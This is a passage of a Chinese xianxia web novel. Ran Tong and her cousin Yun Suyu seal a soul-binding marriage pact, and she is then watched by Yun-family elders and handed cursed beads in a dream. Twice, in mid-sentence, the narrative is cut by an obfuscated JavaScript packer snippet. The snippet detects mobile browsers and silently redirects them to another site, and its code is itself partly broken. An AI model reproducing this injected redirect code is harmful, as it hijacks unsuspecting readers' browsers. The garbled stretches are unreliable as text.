云宿雨早料到她会拒绝,会心而笑:“傻丫头,没看出我是在向你求取保障吗?你不遭遇性命之忧,这契约便不会生效。真到了那种时刻,就算没有契约我也会拼死救你呀。” 这说法大大缓解了冉彤的压力,她心思活泛,知道表哥感情细腻,从来拿她当宝贝。父母过世后他自觉接过守护之责,加倍努力爱惜她,有时谨慎到了瞎操心的程度,把她看得比凡人稚子还脆弱,反令冉彤为他心疼。 如果这么做能让表哥安心,也不是不能接受。 冉彤想罢辗然笑道:“你这么说的话,我就明白了,那就照你的意思办吧。” 一直是表哥宠她,她很高兴今天能有机会宠宠表哥。 高阶修士可空手画符,冉彤还需要符纸做载体,云宿雨摘了一片巴掌大的枫叶为纸,拿出“生随死殉契”的符文样本让她照描。 画符须清心静神,以气摄形,以形运气,形气合一,致令阴阳贯通,天地归元,讲究一气呵成,中途不能有半分停顿。 冉彤不知怎的,临到落笔忽然心神不宁,要么画歪了,要么失手中断,尽管云宿雨一再宽慰鼓励,仍然连续几次半途而废。 “表哥,我画不好这个符。” 她嗫嚅着想要放弃,非是气馁,以前母亲曾教导她:“假如一件事老是莫名受挫,不能如意,那多半是天意示警。” 她不觉代入这一观点,心脏再次咚咚乱跳,靠在表哥怀里也难安定。 云宿雨一如既往地有耐心,声音似温泉浸润着她的耳朵。 “你太紧张了,别着急,像这样速度放均匀,慢慢来,一点都不难的。” 说话时轻轻扶住她握笔的手,辅助她画符。 冉彤屏住呼吸,全神贯注监控笔尖走向,注视金色的墨汁在枫叶上蜿蜒出繁复蜿蜒的线条。 她和表哥情路顺畅,没想到缔结道契时受阻,这曲折的符文似乎隐藏着某些不祥的暗示,令她惶惶惑惑,待成功画完,脑门上浮起一层毛茸茸的汗珠,前胸后背都浸湿了。 “好了。” 云宿雨含笑握了握她的肩头,拿起这张来之不易的符契,按规定流程先让定契人滴血开光,而后咬破食指,将血滴在冉彤的血迹上。 两滴鲜血交融,他们的神魂就此相连,符契上的金纹绽放灵光,化作两只翩然飞舞的金色蝴蝶,分别扑向二人额头,汇入神识当中。 道契生效,代表夫妻关系确立,本该欣喜激动的时刻,冉彤的心情却被云雾遮住一般,明明没有任何不开心的理由,就是高兴不起来。 云宿雨的反应也有些异常,深深叹了口气,似乎如释重负。 见冉彤打量,忙重拾笑容,圈住她低头叮咛。 “彤儿,我们已经是夫妻了,你要记住,我此生只有你一位妻子,你不可以讨厌我,更不能不要我。” 解除契约的唯一办法是契主心怀杀念取出另一方的心头血,以他和冉彤的关系根本不存在这种可能。 他郑重其事,被冉彤误会成撒娇,惊喜之下心间云翳顿开,环住他的腰仰头揶揄。 “表哥这是怎么了?都说男为树女为藤,从来只见藤缠树,你为何反着来?” 云宿雨笑意深浓,深情拥住她。 “我很怕失去你。” 冉彤耳朵紧贴表哥胸口,那急促的心跳声不断强劲地撞击着她的耳膜,他的话音却似轻烟,伴着隐约的忧伤怯弱低徊缭绕。 凡人容易沉溺情爱,修整道侣却很少患得患失。 冉彤印象里云宿雨温情脉脉,像棉花团顺着她纵着她,但内在并不软弱,随时可供她依靠,往常亲热时没见他这么肉麻黏糊过,一时间亦喜亦忧,扶着他的背安慰:“等成了亲我们就能天天在一起了,到时你放心去闭关,我会照顾好自己不让你分神的。” 云宿雨抱她抱得更紧,怕被打劫似的,好一阵才松开,目不转睛凝视她,美丽的蓝眸波光点点,仿佛揉碎漫天星子。 冉彤伸手摸他的脸颊,直白发问:“表哥,你是不是有心事呀?” 他的眼波立刻暖意融融,轻笑摇头。 表哥活了一百多岁,成熟内敛,从不向她展示烦恼。 冉彤明白自己还不够资格为他分忧,不追问是最懂事的做法,于是另想办法为他舒怀,活泼道:“你来的正是时候,看这枫叶红得多美,还很茂密,再过几天开始落叶就没这么漂亮了。我们沿着河边散散步,如何? 两个人手拉手下桥,逆着溪流缓行,一边观山望景,一边愉快聊天。 “表哥,我今天在那家书坊惹了祸,倘若家里的长辈们知晓,会不会责怪你啊?” “不会的,这点小事你别往心里去。” “这不算小事吧,万一有人借题发挥,说我败坏云家门风怎么办?” “云家的名誉岂是能轻易折损的?你真不用担心。” 云宿雨宠溺地揉了揉冉彤的脑袋,取出一匣蓝盈盈,亮晶晶,李子形状的果子,是冉彤最爱吃的清莹李。 这种稀有灵果十年一开花,又十年一结果,果实蕴含灵力丰富,是修真者上佳的补给品,只产于春末夏初,保存期顶多半个月,过后便萎缩腐坏,按说这个季节绝对吃不到。 得知是云宿雨用法力催生的,冉彤不乐意了。 催生灵植很费法力,像清莹李这样的高级灵植生长缓慢,对灵力需求极大,促其开花结果所消耗的灵力够云宿雨修行一二年了。 “我又不是馋嘴小孩,你干嘛费这力气?” “上次你说今年没吃到清莹李,就想顺便带些给你,尝尝看,味道还不错。” 云宿雨拈起一枚果子递给冉彤。 表哥这么疼爱她,再扫他的兴也太不识好歹了。 冉彤噘了噘嘴,甜笑盈腮,接过果子咬了一口,欢喜称赞:“好吃,感觉比以前吃到的还香甜。” 成熟的清莹李味道比寻常李子浓郁,混合蜜糖、酥酪、香草风味,吃了满口生津,齿颊留香,但低阶修士不能多食,否则灵气淤塞,会令身体不适。 云宿雨瞅着冉彤吃完三颗便将果子重新封好,让她带回去慢慢吃。 冉彤在溪边洗手,顺便玩了会儿水,和表哥倚靠着坐在临溪的石头上静静欣赏对岸如火如荼的红枫。 黄昏将至,枫林沐金辉,绚烂欲燃,烧出半天红彤彤的晚霞,溪面流金间碧,像银子映照美景,天地辉映,壮丽景色惹人沉醉。 冉彤枕着云宿雨的臂弯,心里满当当地全是幸福。 长辈们常说仙途漫漫,修仙者一生会经历许许多多沉浮,应该永远保持探索和求知欲,不断开拓未来。 可是能嫁给表哥,和他如此刻这般甜蜜厮守, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14084599|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冉彤便心满意足了,相信将来再美好也不外乎如此光景,法力、成就、长生不老都不及表哥带给她的快乐。 “表哥,昌宁的枫叶也这么漂亮吗?” 人说“枫林十分秀,七分在昌宁”,冉彤去过深秋的昌宁,那儿的枫林比烈阳更多更茂密,叶红时节层林尽染,方圆百里醉倒在轰轰烈烈的赤色中,堪称天下一绝。 云宿雨说:“今年天冷得早,昌宁的枫叶已开始凋零了。” 冉彤毫不在意,往他怀里贴了贴,笑道:“没事,反正明年还能看到。” 结成道契,她更不用跟表哥害羞了,自在畅想:“不止枫叶红,以后我们还能一起看好多好多美景,你说过要带我游遍十州,领略各地风光,可得说话算话啊。” 一滴水珠猝然砸在她手背上,她纳闷晴天为何有雨,抬头见云宿雨正用力揉眼眶。 冉彤惊讶:“表哥,你哭了?” “没有,怪这枫叶太红,看久了眼睛刺痛。” 云宿雨假装淡然,被掩饰不住的牵强语气出卖,让见面伊始就一再困扰冉彤的不安情绪彻底突漏出来。 表哥不是多愁善感的凡人,今日怎的异样频出? “你真没遇上烦心事?” 她抓住云宿雨的袖子,尽量不用忧疑的神情逼迫他。 云宿雨只看她一眼便匆忙闪避,似乎她才是扎伤双眼的尖刺,冉彤茫然慌乱,刚一低头便被他紧紧拥入怀抱。 这个拥抱比任何时候都用力,捏得她骨头微微发疼,也让她切切实实感受到了表哥的恐惧。 相似情况只出现过一次,那年她在森林里乱跑,撞见食人恶妖,几乎丧命。云宿雨及时救下她时也这么失态地抱着她,事后承认他当时被吓坏了。 “表哥……你到底怎么了?!” 不能再迟疑,冉彤推开他焦急询问。 云宿雨不肯撒手,将她牢牢箍在怀里,仿佛她是他的依靠。他的行动已完全失常,嘴上还在强撑。 “没事,我就是太高兴了,一想到马上要和你成亲,反而欢喜得有些害怕。” 欢喜也会让人恐惧吗? 冉彤刚知道人会产生这样矛盾的感受,她怀疑是心魔导致的,怪不得云家急着让他们完婚,表哥这状态是很叫人担心。 她未做过多猜测,一心安抚云宿雨,轻轻抚弄他的肩背,像哄一只受惊的大狗。 “彤儿只爱表哥一人,只要你好好的,我便一切都好。如果情念会危及表哥的心神,彤儿宁愿你少喜欢我一点。” 安慰适得其反,云宿雨的身体微微抖动,压抑的哭泣令他气息凌乱,指尖捏紧冉彤的手臂和侧腰,像要将她的轮廓烙进自己的生命里。 冉彤修为太低,无法用灵力助其安神,又怕说错话表错情,加剧他的错乱,乖乖爬在他胸前,用颈窝承受他的泪雨。 云宿雨自制力终是强的,不久恢复平静,松开小表妹,一半惭愧一半酸涩地笑着向她道歉。 “对不起,吓着你了。” 冉彤使劲摇头,笑眯眯地,像只开朗的小奶猫。 “我一难过就肆无忌惮冲你哭鼻子,还还债是应该的。” 云宿雨泪光重现,认真纠正:“彤儿,你从不欠我什么,永远都是表哥亏欠你。” 他欲言又止,明显藏了话。 冉彤不想追问,免得给他添堵。想着等婚礼过后,诸事如意,表哥自会安心。 分别时云宿雨再次失态,握着她的手久久不愿放开,等说好再见,冉彤走出一截,他又追上来抱住她依依不舍亲吻,泪水沾湿了她的鬓丝脸颊。 冉彤百感交集,无计可施时诙谐调侃:“表哥原来这么粘人吗?你现在可比怀璧更像小孩子了。” 云宿雨羞惭地忍住离愁,指尖一点点滑过她的掌心、手指,艰难的放手。 二人肌肤分离的一刹,冉彤看到表哥的眼神似决堤河坝漫出悲痛,但随即得到遏制。这情景存在的时间极其短暂,短到像她的错觉。 事实正如此吧,又不是生离死别,表哥再舍不得也不会伤心成这样。 他们很快会重聚,在凤箫玉笛中,摇曳红烛下,珠帘绣幕里。 5. 梦魇 昨天冉彤看乔淡月回家后无精打采的,以为她在赛神会上玩得太累,早早安排她歇息,将教学计划推迟到了第二天早上。 乔淡月拜师后学会修行最基本的呼吸吐纳法,这些天气息渐渐纯粹,能进行灵根测试了。 冉彤用五行球检测,球体闪出金色电光,证明乔淡月是罕见的雷灵根。电光颜色非常纯净,不是一般水木或者火土灵根融合成的凡雷,很像冉彤血脉传承的真雷属性。 她惊喜地取来母亲遗留的法宝“电光火石鞭”,让乔丹月握住鞭把。 “放慢呼吸,试着用神识召唤鞭子里的器灵。” 乔淡月天资聪颖,听冉彤讲解了要领,努力尝试三遍后,漆黑的鞭身陡然窜过一道金色电流,似灵蛇扭动,扫得地面沙沙作响。 她唬得撒手后退,更被冉彤的欢呼惊吓。 “错不了了!乔师妹能与我娘的法宝灵力连接,说明你也是天巫族的后裔啊!” 冉彤抓住乔淡月的肩膀,有如找到失散多年的亲人。 如今修真界也很少人知道“天巫族”这个几乎灭绝的种族。 相传“天巫族人”是雷神的后裔,生来即拥有媲美天雷的“天罡真雷”法力,但数万年来不断与外族通婚,后代血统渐渐稀薄,能继承到“天罡真雷”的族人少之又少。 冉彤的母亲柳飞绵算是比较纯正的天巫族人,能熟练运用天罡真雷,这得天独厚的优势让她早早进阶极境,若非英年早逝,前途真不可限量。 乔淡月生下即被遗弃,在邂逅冉彤的伯父前一直以为自己是平凡人,比起神奇的天巫族血统,她更对柳飞绵感兴趣。 “小师姐,你爹娘是怎么过世的啊?” 她很想跟冉彤亲近,本不敢随便提及对方的伤心事,眼下好奇难忍,问过之后悔意顿生,怕冉彤怪自己揭她疮疤。 冉彤没那么敏感,难过是免不了的,收起笑容低声说:“八年前我爹被一伙魔道贼子暗害,我娘伤心过度失了神志,受法力反噬,魂飞魄散了。” 修真者的体魄随修为增长不断强壮,魄本为邪,受三尸操控,没有神魂压制,七魄就会相互攻伐,分崩离析。 修真者必须时刻保持神识健全,否则走火入魔后多会落得跟柳飞绵一个下场。 那天晚上听伯父告知噩耗,冉彤怎么都不愿相信。 早上母亲出门时一切正常,叮嘱她:“娘去求云家家主救你爹,你乖乖待在家里等娘回来。” 冉彤央求母亲带她同去,柳飞绵没答应,哄她说:“娘会带枫糖糕给你,晚上再陪你去溪边捞灯笼鱼。” 冉彤喜欢枫糖糕,昌宁产的最好吃。 做出这种温柔承诺的母亲怎会弃她而去呢? “云家家主说你爹的残魂无法修复,你娘听了受不了,当场疯癫失控,旁人还没来得及抢救,她便爆体散魂了。” 柳飞绵尸骨无存,冉彤跟伯父去到云家,在院落里看到一个比房子还大的深坑,据说那就是母亲身亡的地点。 她望着这个仿佛陨石砸出来的大坑无助嚎啕,短短数日连失至亲,再也看不到疼爱她的爹娘,那无边无际的恐惧至今仍令她撕心裂肺。 见冉彤眼眶湿红,乔淡月慌忙道歉:“对不起小师姐,我不该问这些的。” 冉彤豁达一笑:“我没事,都是自家人了,不用这么见外。往后跟其他人打交道也是,大方点,别老这么小心翼翼的。” 她捡起电光火石鞭,爱惜地抚摸这件珍贵的法宝,对乔淡月说:“这鞭子是我娘年轻时炼制的,须用天罡真雷驱动,一般人用不了。你有天巫族血统,灵根强盛,日后定能驾驭真雷,我就把这鞭子当做送你的见面礼吧。等你进入得境后期就能炼化使用了。” 乔淡月不敢要她母亲的遗物,正欲婉拒,想起冉彤刚告诫她不要见外,赶忙改口道谢,郑重地双手接住。觉得这小师姐慷慨和善,是个顶好相处的人,可惜即将远嫁,以后多半相见不易了。 冉彤继续教学,稍后伯母秦露华过来看望她们。 冉彤先向她报喜:“伯母,我刚发现乔师妹也是天巫族人,世上竟有这等巧事,我还以为这辈子都见不到其他族人呢。” 柳飞绵父母早亡,只有一个相依为命的叔叔,再没见过别的天巫族人。 历史上这个种族遭遇过多次原因不明的大屠杀,幸存者零落散居于十州,很少有长寿者,比如柳飞绵的父母不到三十就去世了,教导抚养她的叔叔也只活了百余岁,在修真界都算早夭。 像冉彤这种混血后裔都很罕见,遇到乔淡月前,她以为整个枫林州就她一人有天巫族血统。 秦露华笑了笑,没冉彤预计的惊喜,甚至还有些局促。 冉彤登时纳闷,伯母是个热心肠的人,情感一贯外放,这种反应说明她事前已知情。 “您早就知道了?” 冉彤尚未在意,秦露华却匆忙否认:“不,我听你说才知道的。” 怪异态度不能不惹人猜疑,冉彤正琢磨着,秦露华忽然抓住她的右腕往屋里带。 “月儿你去那边玩,我要跟彤儿说几句话。” 冉彤被她拉进卧室,暗道是不是昨天书坊的事发了,或者教人发现她偷偷跟表哥幽会,惹得伯母生气。 伯母慈祥又很疼她,再发火也凶不到哪儿去。 冉彤一点不害怕,反倒担心冉怀璧会挨揍,预备为堂弟求情。 谁知秦露华先取出一件意想不到的东西,说要送给她做嫁妆。 那是一块二指宽三寸长,乌黑油亮,雕刻着细密符文的木片,名叫“神木牌”,是修真界大名鼎鼎的法器。 数万年前众神飞升,留两位神仙驻扎人界。 一位是太上大罗道祖,另一位道号长春真人,原身是一棵万万年修为的大椿树,乃地仙之首。 此二仙互为守望,分别庇护人妖两族,协理凡间秩序。 可是一千多年前,长春真人被极恶魔星弑杀,从此妖族失制,群妖不再惧怕人类,各部落纷起作乱,导致人妖两族的争斗愈演愈烈。 眼前这块神木牌正是用长春真人部分本体为材质炼制的,具有真仙之力。 修真者借助此力可任意运用各种神通,发挥超境界的威力。 此法宝还承接天地精华,储藏海量的灵力供持有者摄取,拿着它再不愁灵力衰竭了。 冉彤小时候听说这些妙处,吵着向伯母索要神木牌。 秦露华不小气,可这法宝是她娘家祖传之物,因她是独生女才有资格继承,断不能交与他人。 冉彤小孩儿任性,长大后羞于提及,此刻再不料秦露华会送她这个,惊忙摆手:“伯母,这是您的传家宝,我不能要!” 秦露华没有一丝勉强,硬是抓住她的手要她接受,语气渐渐急切了。 “你这孩子可怜见的,早早没了爹妈,过来这边也没享什么福。伯母没本事,照拂不了你许多,这牌子你随身戴好,往后能帮到你一二,伯母这心也能稍微踏实些。”、 这番话自疚太过,他们夫妻悉心养育冉彤八年,付出的心血关爱不亚于亲生骨肉,论理该冉彤感恩戴德才对。 冉彤只当伯母太善良,见她太早出嫁,心里舍不得,感愧安慰道:“伯母,您对彤儿够好了,再说这种话真正折煞彤儿。彤儿本想多陪你们几年,尽一尽子侄之孝,要不是云家催得急,我也不愿这么早离开你们。” 秦露华听得眼眶发红,脸急忙撇向一边,不忍与她对视。 “你真孝顺就收下神木牌,到紧要关头总能有点用处。” 秦露华半强迫地逼冉彤收下法宝,然后传授她使用要诀。 这神木牌不愧是举世罕有的顶级法宝,适配于任何法术,因木能引动雷火,所以尤其能够强化雷系功法,运用得当甚至可直 接将施术效力提升两个境界。 冉彤欢喜劲儿过去,顾忌重来,说:“伯母守护宗门,少了这件法宝,日后遇到强敌会不会应付不过来呀?” 她想归还神木牌,秦露华急躁了,两道弯眉倒竖起来。 “我跟你伯父说好了,往后一切干戈纠纷都由他去应付。他一个男人不能顶门立户,我还守着他作甚?” 听来分明有埋怨丈夫窝囊的意思。 冉彤没见伯父伯母闹过矛盾,乍听秦露华口出怨言,不由得满心惊诧。细思去年自她敲定婚期,伯父便离家云游,至今没听伯母挂念过半句,往常未留神,如今看来似有隐情。 辰时未过,两位云家的女眷到访,冉彤被叫去见客,认得其中一位老太太是云宿雨的大姑奶奶道晖散人。另一个外貌年轻的没见过,据介绍也是云宿雨的奶奶辈,讳号林屋羽士,清修多年,近日刚出关。 冉彤看她神情严肃,眼神冰冷,直觉是个难相与的。果然行礼后立遭质问。 “冉彤,昨天宿雨是不是来找过你?” 事情暴露得太快,亏得冉彤早有准备,忙认错:“是我想念表哥,几次写信强邀他来,恳请二位姑奶奶代晚辈向家长们说明,请他们别责怪表哥。” 她想道晖散人素来慈柔,便朝着她说话。 道晖笑道:“你们两个孩子真有意思,都把过错往自个儿身上揽,放心吧,家里没把宿雨怎么着,我们今天来也不为罚你。 只是你快做云家的少夫人了,必须懂得基本的礼仪,老家主派我们来指导你,婚礼前你就别出门了,安心呆在家里跟我们学习吧。” 冉彤颇为庆幸,乖顺应承了。 相反秦露华一脸不快,语气极为生硬。 “二位临时到访,我来不及安排接待,若有招呼不周的地方还望见谅。目下诸事繁忙,先失陪了。” 说完吩咐门人待客,漠然地拂袖而去。 她的言行太失体统,冉彤惊讶尴尬,不明白伯母那么爱护她,为何随便开罪她的婆家人。 幸好道晖和林屋修为高深,仍旧安之若素地询问冉彤,昨天和云宿雨私会时做过哪些事。 云宿雨交代过,绝不能让人知道他们私自缔结了“生随死殉契”,冉彤极力拿话遮掩,那林屋羽士不肯轻信,一再追问,言辞越来越蹊跷。 “宿雨他有没有给过你一些东西?是否跟你约定婚礼前再次见面?有没有跟你说云家的其他事?” 见冉彤面露狐疑,道晖散人忙劝止林屋:“你干嘛这样吓孩子,不就是偷偷见了一面嘛,没什么大不了的。” 字面上听着是回护,可脱不了欲盖弥彰的意味,冉彤猜不透,唯有憋着。 两位姑奶奶就此在她的院子里住了下来,那道晖散人表面还和过去一样和气,但跟冉彤话总是心不在焉,还时常刻意回避她。 那林屋羽士更过分,对冉彤不理不睬,却时刻关注她的动向。 冉彤别扭地忍了三天,第四天悄悄用神木牌强化神识后侦查四周,发现院子周围布下了监察用的法阵,她的一举一动都处在监视下。 云家规矩也太严了吧,我还没过门呢,就被这样森严管束,难怪表哥那么不安,定是怕我嫁过去后受委屈。 假如对方不是云宿雨,这个婚冉彤说什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14084600|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿结了,一面心生彷徨,忧心婚后的生活不会如她设想的美满。 第五天清早,她正教乔淡月如何指挥傀儡猫出门购物,一抹红色遁光闪入庭院,落地变成一个身穿杏色长袍的年轻佳丽。 乔淡月不知道这是冉家大小姐冉灵犀,以为来了妖怪,忙往冉彤身后躲。 冉彤欢喜道:“别怕,是我大堂姐!” 她激动地上前抱住冉灵犀,情不自禁使用撒娇口吻:“大姐姐,你这么快就出关啦!” 修真者往往一口气闭关十几年,短的也要三五年,冉灵犀这次只闭关一年半,不知收获如何。 冉彤先向她介绍乔淡月,冉灵犀和蔼地同后者见了礼,却无心多言,将冉彤叫到屋里说话。 “彤儿,这颗凝魂珠是我专为你炼制的。” 她递上一颗龙眼大小,淡红色的透明珠子,想必就是她这一年半闭关的成果。 凝魂珠能在持有人遭受致命伤害时保护神魂,防止三魂消散,为其争取一线生机。 炼制该法宝的原料非常难得,更须耗费大量灵力,冉彤忙用神识探查,堂姐修为不仅没增长,元神还很虚弱。定是炼器折损过度,没顾上休养便赶来了。 冉彤和冉灵犀最亲厚,见她如此付出,愧疚盈心,胜如针扎,眼泪瞬间涌上来,嚷道:“大姐姐这是干嘛呀,我还用不到这种法宝,你不该为我耽搁修行。” 她不参与杀伐,不外出探险,凝魂珠根本派不上用场,大堂姐专门为此闭关,这份沉甸甸情谊快压得她喘不过气了。 冉灵犀含笑替她擦泪,哄慰:“傻丫头,你别把我想得那么无能,这点事还误不了我。” 她比云宿雨还年长四十二岁,与冉彤名为姐妹,实则从来以长者心态看待小表妹。本身老成持重,能力超群,比伯父伯母更能给冉彤安全感。 这份依恋加剧她的心疼,不能在伯母面前使性子,但对大姐姐没顾虑。 “反正我不要,你自个儿留着吧。” 冉灵犀假意嗔怪:“你还嫌弃上了不成?换成别人,追着哀求一百年我都不会淘这份神。你真喜欢大姐姐就听话拿着,若不要,我便砸碎它,只当自己白操心了。” 她作势摔珠子,冉彤只好领情,接礼物时连她的手一块儿握住,郁闷嘟囔:“大姐姐,你们对我这么好,我该怎么报答呀?” 冉灵犀一时无话,冉彤抬头见她似有悲戚之色,和早上秦露华的反应如出一辙。 冉灵犀比母亲有城府,马上恢复常态,双手与冉彤交握,深切嘱咐:“你好好活下去,就是对我们最大的报答。” 这要求细究起来很可疑,好像对冉彤来说生存是项艰巨的难题。 可是冉彤在蜜罐子里长大,没学会居安思危,对亲人的感激一马当先掩盖了所有异样,思维完全没往坏的方向发散。 冉灵犀走后,林屋羽士即刻现身,问冉彤:“我刚才见冉大小姐给了你一样东西,是什么?” 冉彤对这人的厌恶已累积到相当程度,碍于她在云家辈分高,依然忍气装恭敬。 “大姐姐为我炼制了一颗凝魂珠。” 林屋不客气地伸手索要,拿着珠子反复检视,好像那是危险物品,继而说:“按云家的规矩,你带过去的东西必须经过检查,这珠子我先替你保管,等婚礼过后自会还你。” 这理由蛮横得过分,冉彤不能当面顶撞,也绝咽不下这口气,人被她们监视着,便托乔淡月向冉灵犀诉苦,说云家人没收了她给的凝魂珠。 乔淡月晚上才找到机会溜出去传话,回来后只敢用眼神向冉彤示意任务已完成。 冉彤相信大堂姐不会坐视自己受欺负,等乔淡月睡下后照旧在一旁的蒲团上凝神打坐。 将要入定时,忽然意识朦胧,飘飘然飞出家门,来到街市上。 时间转为青天白日,街上人流如织,不停推着她前行,直到有人唤她的名字。 “冉姑娘,又见着你了。” 冉彤看到那丑陋的算命老太婆便着恼,揪住她的袖子斥责:“老骗子,可逮着你了。那天是不是你使坏捉弄我?!” 老太婆咧嘴大笑:“姑娘,你还计较这点小事呢。再不醒悟,小命可就难保了。” 冉彤的唇舌蓦地僵硬,满腔恶言发泄不出,接着手脚也不能动了。 她着了老太婆的道,慌忙挣扎,并设法向周围人求救,可没人搭理她。 老太婆笑得比鬼难看,言语间仍无恶意,从腰间的褡裢里掏取事物,摊在手心里递到她眼前。 是三颗绿油油,酷似新鲜蚕豆的小珠子。 “这三颗珠子里分别封着百万只八级摄魂虫精魄,随手扔出去就能释放虫群,威力连极境初期的修士都抵挡不住呢。” 摄魂虫是最凶猛的虫族妖兽之一,以人畜魂魄为食,习惯群居,低阶修士对付一小群八级摄魂虫都够呛,百万只集结狩猎,那真是难以想象的可怕场面。 冉彤觉得老太婆的嘴迅速变长变尖,眼睛血红膨胀,生出昆虫的复眼,像只巨大的摄魂虫,锥子似的嘴就快扎到她脸上。 她惧急汗出,狠命大叫,视野霎时昏黑,定睛一看已回到了卧室的蒲团上。 乔淡月正在床上恬静酣睡,室外虫鸟无闻,夜风轻拂帐幔,花气送来暗香,她的悸动和周围的寂静格格不入。 好久没在入定时梦魇了,是我修行退步了? 她连忙调息,发觉汗湿的右掌里握有异物,摊开查看,三颗细小的珠子荧荧泛光,将半间屋子照得绿汪汪的,正是梦里出现的摄魂珠。 6.看出端倪 冉彤骇然握紧拳头,慌忙探查四周,没发现道晖和林屋的气息,高悬的心稍稍放下。 她无心寻思那两个紧迫盯人的老姑奶奶为何离岗,急着检查三颗珠子。 当神识深入珠子内部,摄魂虫群的嗡鸣山呼海啸般袭来,她寒气透背,手一抖,这三颗货真价实的摄魂珠滴滴答答掉落,你追我赶地滚到床脚。 只有极境以上的魔修能炼制这类邪门法宝,刚才连接虚实的梦境也像传说中的高阶梦引术,那算命老太婆无疑是极厉害的魔道妖人。 修真界里靠流派划分正魔两道。 正道修炼无情道、神宵清净道、含元太一道。 此三种流派遵循天理,刚志修持。修行采用炼精化气,练气还神,炼神还虚的三炼实功,以身心为炉鼎,接引天地正气,循序渐进增进修为。 正途稳健,收效甚缓,于是部分心术不正,急功好利的修士便去修混元丹鼎道,六壬阴阳道。 这两种流派注重外力辅助,好服药采补,热衷于炼尸、炼鬼、练妖,以童男童女为炉鼎,盗吸他人精元,吞噬大妖甚至人族修士的内丹,转化为自身功力。 这些恶毒功法的确能让修为在短时间内突飞猛进,但极易受反噬,更因其行事恶毒,历来为正道敌视。 太上大罗道祖统帅离恨天坐镇守护十州,魔道修士们不敢公开活动。大多数居住在“辰戌关”外的蛮荒之地,潜伏在关内的也藏踪匿迹,未敢猖獗。 冉彤从小被教导提防魔道,发现可疑人等必须立即禀报长辈。 她怀疑那老太婆想引诱自己图谋不轨,准备天亮后告诉伯母,先捡起摄魂珠装进父亲留下的储物袋里。这袋子能隔绝神识,不会被外人发现。 后半夜风平浪静,早上她照顾乔淡月吃饭时,道晖领着另一个云家媳妇,人称青三嫂子的回来了,说林屋羽士临时有事,往后几天换青三嫂子顶班。 碍眼的人走了,冉彤暗暗高兴,吩咐乔淡月练习打坐,独自去找秦露华。 冉怀璧半中途跳出来拦住她,猴急道:“彤儿姐姐,昨晚出大事了,你知道吗?” 这话正应着冉彤的心事,忙问怎么了。 冉怀璧拉她去炼丹房,这地方有防护法阵,外界难以窃听。 冉彤见他神神秘秘的,料想宗门未遇大变故,怨他吓唬人,重重拍打一下,训斥:“有话快说,莫要戏弄人。” 冉怀璧揉着痛处辩解:“你别凶嘛,等听我说了,准定比我还慌。” “到底什么事?” “我也是刚刚才从张师兄哪儿听来的,昨晚娘和大姐约云家那两个老太婆去城外打架,把那林屋羽士打成重伤,云家的长老亲自赶来调解才算收场。娘这会儿还在房里生闷气,我去问大姐姐,被她臭骂一通。她还警告我不许告诉你,可这么大的事我怎么能瞒你呢?彤儿姐姐,你知道两边是怎么闹翻的吗?” 冉云两家世代交契,冉怀璧知道秦露华和冉灵犀做事都有分寸,此番冲动行事,肇因只可能是冉彤。 这一闷棍打得冉彤晕头转向,她跟冉怀璧想法一致,也猜测伯母和大堂姐是在替她出头。 她们定是因为林屋没收了我的东西,前去同她交涉,言语失和动得手。可这么点事,何至于大动干戈?林屋是云家的老前辈,被冉家重伤,双方不得结梁子? 冉怀璧听说起因是林屋苛待冉彤,认为母亲和大姐的做法很解气,嘲笑:“俗话说打狗看主人,她欺负你就是欺负我们冉家,受点教训也活该。” 说完胳膊挨了一记掐。 冉彤啐道:“我是狗你就是小狗崽子。唯恐天下不乱的小子,没看我都快急死了?” 冉怀璧闪躲着赔笑安慰:“娘和大姐敢出手,说明她们有的是底气,有这么强大的娘家撑腰,你还怕什么呢?而且你不觉得娘和大姐很厉害吗?同样是化境初期修为,那道晖、林屋比娘和大姐大了一二百岁,却被打得落花流水,外面常说我冉家人丁单薄,我们正好借这事扬眉吐气。” 小孩子家不通世故,想不到其中危害。 冉彤正色告诫:“冉家能在枫林州立足,多半靠和云家的姻亲关系,要让外人知道两家失和,定会趁机作梗。这件事绝不能外传,你最好管住嘴巴,别给大人添乱。” 冉怀璧委屈:“娘和大姐帮你出头,你还反过来埋怨她们,真是胳膊肘往外拐。” 冉彤压住急躁说服:“我知道伯母和大姐姐心疼我,正因如此更不愿两家为我失和,本来我和表哥的婚约就是巩固两家的联姻,维护两家关系是我的责任,这点你是知道的。” 冉怀璧想了想,开始担心冉彤受夹板气。 “那林屋肯定记仇,云家也肯定偏向她,往后联手报复你怎么办?” 冉彤估计情况没那么糟,说:“我刚看道晖散人态度平静,没有迁怒我的意思,我过门以后就是云家的少主夫人,看在表哥的份上,他们也不会太为难我。况且我也不是好欺负的,真受了委屈就立马走人,一刻都不在那边多呆。” 冉怀璧拍手叫好:“对!我们冉家的女儿可不能受窝囊气,你婚后若过得不顺心,尽管回娘家,表哥不来我们大门前磕头认错,我们绝不放你回去。” 堂弟的嘴像砒霜拌蜜糖,一会儿恨得人牙痒,一会儿又叫人乐开怀。 冉彤顺手弹他脑门,再次嘱咐他守紧口风。 冉怀璧立下保证,也叫她装糊涂,别去询问当事人。 姐弟俩走出炼丹房,冉彤仍去找秦露华,魔道作风歹毒,那件事万万延误不得。 